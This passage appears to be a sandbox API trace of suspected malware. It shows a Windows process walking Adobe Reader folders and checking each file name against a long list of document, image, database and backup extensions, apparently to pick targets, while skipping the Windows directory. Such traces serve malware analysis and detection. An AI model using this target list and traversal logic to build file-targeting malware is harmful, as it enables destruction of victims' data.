[0200.635] lstrlenW (lpString=".cs") returned 3 [0200.635] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.635] lstrlenW (lpString=".css") returned 4 [0200.635] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".csv") returned 4 [0200.635] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".cub") returned 4 [0200.635] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dae") returned 4 [0200.635] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dat") returned 4 [0200.635] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".db") returned 3 [0200.635] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.635] lstrlenW (lpString=".dbf") returned 4 [0200.635] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dbx") returned 4 [0200.635] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dc3") returned 4 [0200.635] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dcm") returned 4 [0200.635] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0200.635] lstrlenW (lpString=".dcr") returned 4 [0200.636] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".der") returned 4 [0200.636] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".dib") returned 4 [0200.636] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".dic") returned 4 [0200.636] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".dif") returned 4 [0200.636] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".divx") returned 5 [0200.636] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".djvu") returned 5 [0200.636] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".dng") returned 4 [0200.636] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".doc") returned 4 [0200.636] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".docm") returned 5 [0200.636] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".docx") returned 5 [0200.636] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".dot") returned 4 [0200.636] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".dotm") returned 5 [0200.636] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".dotx") returned 5 [0200.636] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0200.636] lstrlenW (lpString=".dpx") returned 4 [0200.636] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0200.636] lstrlenW (lpString=".dqy") returned 4 [0200.636] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".dsn") returned 4 [0200.637] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".dt") returned 3 [0200.637] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.637] lstrlenW (lpString=".dtd") returned 4 [0200.637] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".dwg") returned 4 [0200.637] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".dwt") returned 4 [0200.637] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".dx") returned 3 [0200.637] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.637] lstrlenW (lpString=".dxf") returned 4 [0200.637] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".edml") returned 5 [0200.637] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0200.637] lstrlenW (lpString=".efd") returned 4 [0200.637] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".elf") returned 4 [0200.637] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".emf") returned 4 [0200.637] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".emz") returned 4 [0200.637] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".epf") returned 4 [0200.637] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".eps") returned 4 [0200.637] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0200.637] lstrlenW (lpString=".epsf") returned 5 [0200.637] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0200.637] lstrlenW (lpString=".epsp") returned 5 [0200.638] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0200.638] lstrlenW (lpString=".erf") returned 4 [0200.638] lstrcmpiW (lpString1=".erf", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".exr") returned 4 [0200.638] lstrcmpiW (lpString1=".exr", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".f4v") returned 4 [0200.638] lstrcmpiW (lpString1=".f4v", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".fido") returned 5 [0200.638] lstrcmpiW (lpString1=".fido", lpString2="gs.js") returned -1 [0200.638] lstrlenW (lpString=".flm") returned 4 [0200.638] lstrcmpiW (lpString1=".flm", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".flv") returned 4 [0200.638] lstrcmpiW (lpString1=".flv", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".frm") returned 4 [0200.638] lstrcmpiW (lpString1=".frm", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".fxg") returned 4 [0200.638] lstrcmpiW (lpString1=".fxg", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".geo") returned 4 [0200.638] lstrcmpiW (lpString1=".geo", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".gif") returned 4 [0200.638] lstrcmpiW (lpString1=".gif", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".grs") returned 4 [0200.638] lstrcmpiW (lpString1=".grs", lpString2="s.js") returned -1 [0200.638] lstrlenW (lpString=".gz") returned 3 [0200.638] lstrcmpiW (lpString1=".gz", lpString2=".js") returned -1 [0200.638] lstrlenW (lpString=".h") returned 2 [0200.638] lstrcmpiW (lpString1=".h", lpString2="js") returned -1 [0200.638] lstrlenW (lpString=".hdr") returned 4 [0200.639] lstrcmpiW (lpString1=".hdr", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".hpp") returned 4 [0200.639] lstrcmpiW (lpString1=".hpp", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".hta") returned 4 [0200.639] lstrcmpiW (lpString1=".hta", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".htc") returned 4 [0200.639] lstrcmpiW (lpString1=".htc", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".htm") returned 4 [0200.639] lstrcmpiW (lpString1=".htm", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".html") returned 5 [0200.639] lstrcmpiW (lpString1=".html", lpString2="gs.js") returned -1 [0200.639] lstrlenW (lpString=".icb") returned 4 [0200.639] lstrcmpiW (lpString1=".icb", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".ics") returned 4 [0200.639] lstrcmpiW (lpString1=".ics", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".iff") returned 4 [0200.639] lstrcmpiW (lpString1=".iff", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".inc") returned 4 [0200.639] lstrcmpiW (lpString1=".inc", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".indd") returned 5 [0200.639] lstrcmpiW (lpString1=".indd", lpString2="gs.js") returned -1 [0200.639] lstrlenW (lpString=".ini") returned 4 [0200.639] lstrcmpiW (lpString1=".ini", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".iqy") returned 4 [0200.639] lstrcmpiW (lpString1=".iqy", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".j2c") returned 4 [0200.639] lstrcmpiW (lpString1=".j2c", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".j2k") returned 4 [0200.639] lstrcmpiW (lpString1=".j2k", lpString2="s.js") returned -1 [0200.639] lstrlenW (lpString=".java") returned 5 [0200.640] lstrcmpiW (lpString1=".java", lpString2="gs.js") returned -1 [0200.640] lstrlenW (lpString=".jp2") returned 4 [0200.640] lstrcmpiW (lpString1=".jp2", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".jpc") returned 4 [0200.640] lstrcmpiW (lpString1=".jpc", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".jpe") returned 4 [0200.640] lstrcmpiW (lpString1=".jpe", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".jpeg") returned 5 [0200.640] lstrcmpiW (lpString1=".jpeg", lpString2="gs.js") returned -1 [0200.640] lstrlenW (lpString=".jpf") returned 4 [0200.640] lstrcmpiW (lpString1=".jpf", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".jpg") returned 4 [0200.640] lstrcmpiW (lpString1=".jpg", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".jpx") returned 4 [0200.640] lstrcmpiW (lpString1=".jpx", lpString2="s.js") returned -1 [0200.640] lstrlenW (lpString=".js") returned 3 [0200.640] lstrcmpiW (lpString1=".js", lpString2=".js") returned 0 [0200.640] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4e4, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0200.640] FindClose (in: hFindFile=0x4420820 | out: hFindFile=0x4420820) returned 1 [0200.640] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.640] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it-it", cAlternateFileName="")) returned 1 [0200.641] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it") returned 127 [0200.641] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it") returned 1 [0200.641] lstrlenW (lpString="it-it") returned 5 [0200.641] lstrcmpiW (lpString1="C:\\WINDOWS", lpString2="it-it") returned -1 [0200.641] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0xfffe) returned 0x4515f80 [0200.641] lstrlenW (lpString="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it") returned 127 [0200.641] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\plugins\\createpdfupsell-app\\js\\nls\\it-it\\*", lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x4420820 [0200.641] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0200.641] FindNextFileW (in: hFindFile=0x4420820, lpFindFileData=0x34fdcac | out: lpFindFileData=0x34fdcac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x4db, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0200.641] lstrlenW (lpString="ui-strings.js") returned 13 [0200.641] lstrlenW (lpString=".1cd") returned 4 [0200.641] lstrcmpiW (lpString1=".1cd", lpString2="s.js") returned -1 [0200.641] lstrlenW (lpString=".3ds") returned 4 [0200.641] lstrcmpiW (lpString1=".3ds", lpString2="s.js") returned -1 [0200.641] lstrlenW (lpString=".3fr") returned 4 [0200.641] lstrcmpiW (lpString1=".3fr", lpString2="s.js") returned -1 [0200.641] lstrlenW (lpString=".3g2") returned 4 [0200.641] lstrcmpiW (lpString1=".3g2", lpString2="s.js") returned -1 [0200.641] lstrlenW (lpString=".3gp") returned 4 [0200.641] lstrcmpiW (lpString1=".3gp", lpString2="s.js") returned -1 [0200.641] lstrlenW (lpString=".7z") returned 3 [0200.641] lstrcmpiW (lpString1=".7z", lpString2=".js") returned -1 [0200.642] lstrlenW (lpString=".accda") returned 6 [0200.642] lstrcmpiW (lpString1=".accda", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".accdb") returned 6 [0200.642] lstrcmpiW (lpString1=".accdb", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".accdc") returned 6 [0200.642] lstrcmpiW (lpString1=".accdc", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".accde") returned 6 [0200.642] lstrcmpiW (lpString1=".accde", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".accdt") returned 6 [0200.642] lstrcmpiW (lpString1=".accdt", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".accdw") returned 6 [0200.642] lstrcmpiW (lpString1=".accdw", lpString2="ngs.js") returned -1 [0200.642] lstrlenW (lpString=".adb") returned 4 [0200.642] lstrcmpiW (lpString1=".adb", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".adp") returned 4 [0200.642] lstrcmpiW (lpString1=".adp", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".ai") returned 3 [0200.642] lstrcmpiW (lpString1=".ai", lpString2=".js") returned -1 [0200.642] lstrlenW (lpString=".ai3") returned 4 [0200.642] lstrcmpiW (lpString1=".ai3", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".ai4") returned 4 [0200.642] lstrcmpiW (lpString1=".ai4", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".ai5") returned 4 [0200.642] lstrcmpiW (lpString1=".ai5", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".ai6") returned 4 [0200.642] lstrcmpiW (lpString1=".ai6", lpString2="s.js") returned -1 [0200.642] lstrlenW (lpString=".ai7") returned 4 [0200.643] lstrcmpiW (lpString1=".ai7", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".ai8") returned 4 [0200.643] lstrcmpiW (lpString1=".ai8", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".anim") returned 5 [0200.643] lstrcmpiW (lpString1=".anim", lpString2="gs.js") returned -1 [0200.643] lstrlenW (lpString=".arw") returned 4 [0200.643] lstrcmpiW (lpString1=".arw", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".as") returned 3 [0200.643] lstrcmpiW (lpString1=".as", lpString2=".js") returned -1 [0200.643] lstrlenW (lpString=".asa") returned 4 [0200.643] lstrcmpiW (lpString1=".asa", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".asc") returned 4 [0200.643] lstrcmpiW (lpString1=".asc", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".ascx") returned 5 [0200.643] lstrcmpiW (lpString1=".ascx", lpString2="gs.js") returned -1 [0200.643] lstrlenW (lpString=".asm") returned 4 [0200.643] lstrcmpiW (lpString1=".asm", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".asmx") returned 5 [0200.643] lstrcmpiW (lpString1=".asmx", lpString2="gs.js") returned -1 [0200.643] lstrlenW (lpString=".asp") returned 4 [0200.643] lstrcmpiW (lpString1=".asp", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".aspx") returned 5 [0200.643] lstrcmpiW (lpString1=".aspx", lpString2="gs.js") returned -1 [0200.643] lstrlenW (lpString=".asr") returned 4 [0200.643] lstrcmpiW (lpString1=".asr", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".asx") returned 4 [0200.643] lstrcmpiW (lpString1=".asx", lpString2="s.js") returned -1 [0200.643] lstrlenW (lpString=".avi") returned 4 [0200.643] lstrcmpiW (lpString1=".avi", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".avs") returned 4 [0200.644] lstrcmpiW (lpString1=".avs", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".backup") returned 7 [0200.644] lstrcmpiW (lpString1=".backup", lpString2="ings.js") returned -1 [0200.644] lstrlenW (lpString=".bak") returned 4 [0200.644] lstrcmpiW (lpString1=".bak", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".bay") returned 4 [0200.644] lstrcmpiW (lpString1=".bay", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".bd") returned 3 [0200.644] lstrcmpiW (lpString1=".bd", lpString2=".js") returned -1 [0200.644] lstrlenW (lpString=".bin") returned 4 [0200.644] lstrcmpiW (lpString1=".bin", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".bmp") returned 4 [0200.644] lstrcmpiW (lpString1=".bmp", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".bz2") returned 4 [0200.644] lstrcmpiW (lpString1=".bz2", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".c") returned 2 [0200.644] lstrcmpiW (lpString1=".c", lpString2="js") returned -1 [0200.644] lstrlenW (lpString=".cdr") returned 4 [0200.644] lstrcmpiW (lpString1=".cdr", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".cer") returned 4 [0200.644] lstrcmpiW (lpString1=".cer", lpString2="s.js") returned -1 [0200.644] lstrlenW (lpString=".cf") returned 3 [0200.645] lstrcmpiW (lpString1=".cf", lpString2=".js") returned -1 [0200.645] lstrlenW (lpString=".cfc") returned 4 [0200.645] lstrcmpiW (lpString1=".cfc", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".cfm") returned 4 [0200.645] lstrcmpiW (lpString1=".cfm", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".cfml") returned 5 [0200.645] lstrcmpiW (lpString1=".cfml", lpString2="gs.js") returned -1 [0200.645] lstrlenW (lpString=".cfu") returned 4 [0200.645] lstrcmpiW (lpString1=".cfu", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".chm") returned 4 [0200.645] lstrcmpiW (lpString1=".chm", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".cin") returned 4 [0200.645] lstrcmpiW (lpString1=".cin", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".class") returned 6 [0200.645] lstrcmpiW (lpString1=".class", lpString2="ngs.js") returned -1 [0200.645] lstrlenW (lpString=".clx") returned 4 [0200.645] lstrcmpiW (lpString1=".clx", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".config") returned 7 [0200.645] lstrcmpiW (lpString1=".config", lpString2="ings.js") returned -1 [0200.645] lstrlenW (lpString=".cpp") returned 4 [0200.645] lstrcmpiW (lpString1=".cpp", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".cr2") returned 4 [0200.645] lstrcmpiW (lpString1=".cr2", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".crt") returned 4 [0200.645] lstrcmpiW (lpString1=".crt", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".crw") returned 4 [0200.645] lstrcmpiW (lpString1=".crw", lpString2="s.js") returned -1 [0200.645] lstrlenW (lpString=".cs") returned 3 [0200.645] lstrcmpiW (lpString1=".cs", lpString2=".js") returned -1 [0200.645] lstrlenW (lpString=".css") returned 4 [0200.646] lstrcmpiW (lpString1=".css", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".csv") returned 4 [0200.646] lstrcmpiW (lpString1=".csv", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".cub") returned 4 [0200.646] lstrcmpiW (lpString1=".cub", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dae") returned 4 [0200.646] lstrcmpiW (lpString1=".dae", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dat") returned 4 [0200.646] lstrcmpiW (lpString1=".dat", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".db") returned 3 [0200.646] lstrcmpiW (lpString1=".db", lpString2=".js") returned -1 [0200.646] lstrlenW (lpString=".dbf") returned 4 [0200.646] lstrcmpiW (lpString1=".dbf", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dbx") returned 4 [0200.646] lstrcmpiW (lpString1=".dbx", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dc3") returned 4 [0200.646] lstrcmpiW (lpString1=".dc3", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dcm") returned 4 [0200.646] lstrcmpiW (lpString1=".dcm", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dcr") returned 4 [0200.646] lstrcmpiW (lpString1=".dcr", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".der") returned 4 [0200.646] lstrcmpiW (lpString1=".der", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dib") returned 4 [0200.646] lstrcmpiW (lpString1=".dib", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dic") returned 4 [0200.646] lstrcmpiW (lpString1=".dic", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".dif") returned 4 [0200.646] lstrcmpiW (lpString1=".dif", lpString2="s.js") returned -1 [0200.646] lstrlenW (lpString=".divx") returned 5 [0200.647] lstrcmpiW (lpString1=".divx", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".djvu") returned 5 [0200.647] lstrcmpiW (lpString1=".djvu", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".dng") returned 4 [0200.647] lstrcmpiW (lpString1=".dng", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".doc") returned 4 [0200.647] lstrcmpiW (lpString1=".doc", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".docm") returned 5 [0200.647] lstrcmpiW (lpString1=".docm", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".docx") returned 5 [0200.647] lstrcmpiW (lpString1=".docx", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".dot") returned 4 [0200.647] lstrcmpiW (lpString1=".dot", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dotm") returned 5 [0200.647] lstrcmpiW (lpString1=".dotm", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".dotx") returned 5 [0200.647] lstrcmpiW (lpString1=".dotx", lpString2="gs.js") returned -1 [0200.647] lstrlenW (lpString=".dpx") returned 4 [0200.647] lstrcmpiW (lpString1=".dpx", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dqy") returned 4 [0200.647] lstrcmpiW (lpString1=".dqy", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dsn") returned 4 [0200.647] lstrcmpiW (lpString1=".dsn", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dt") returned 3 [0200.647] lstrcmpiW (lpString1=".dt", lpString2=".js") returned -1 [0200.647] lstrlenW (lpString=".dtd") returned 4 [0200.647] lstrcmpiW (lpString1=".dtd", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dwg") returned 4 [0200.647] lstrcmpiW (lpString1=".dwg", lpString2="s.js") returned -1 [0200.647] lstrlenW (lpString=".dwt") returned 4 [0200.648] lstrcmpiW (lpString1=".dwt", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".dx") returned 3 [0200.648] lstrcmpiW (lpString1=".dx", lpString2=".js") returned -1 [0200.648] lstrlenW (lpString=".dxf") returned 4 [0200.648] lstrcmpiW (lpString1=".dxf", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".edml") returned 5 [0200.648] lstrcmpiW (lpString1=".edml", lpString2="gs.js") returned -1 [0200.648] lstrlenW (lpString=".efd") returned 4 [0200.648] lstrcmpiW (lpString1=".efd", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".elf") returned 4 [0200.648] lstrcmpiW (lpString1=".elf", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".emf") returned 4 [0200.648] lstrcmpiW (lpString1=".emf", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".emz") returned 4 [0200.648] lstrcmpiW (lpString1=".emz", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".epf") returned 4 [0200.648] lstrcmpiW (lpString1=".epf", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".eps") returned 4 [0200.648] lstrcmpiW (lpString1=".eps", lpString2="s.js") returned -1 [0200.648] lstrlenW (lpString=".epsf") returned 5 [0200.648] lstrcmpiW (lpString1=".epsf", lpString2="gs.js") returned -1 [0200.648] lstrlenW (lpString=".epsp") returned 5 [0200.648] lstrcmpiW (lpString1=".epsp", lpString2="gs.js") returned -1 [0200.648] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.648] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8ab628, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8ab628, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja-jp", cAlternateFileName="")) returned 1 [0200.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.649] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8d1876, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee8d1876, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee8d1876, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko-kr", cAlternateFileName="")) returned 1 [0200.649] HeapFree (in: hHeap=0x420000, dwFlags=0x0, lpMem=0x4515f80 | out: hHeap=0x420000) returned 1 [0200.649] FindNextFileW (in: hFindFile=0x4420720, lpFindFileData=0x34fdf28 | out: lpFindFileData=0x34fdf28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee8ab628, 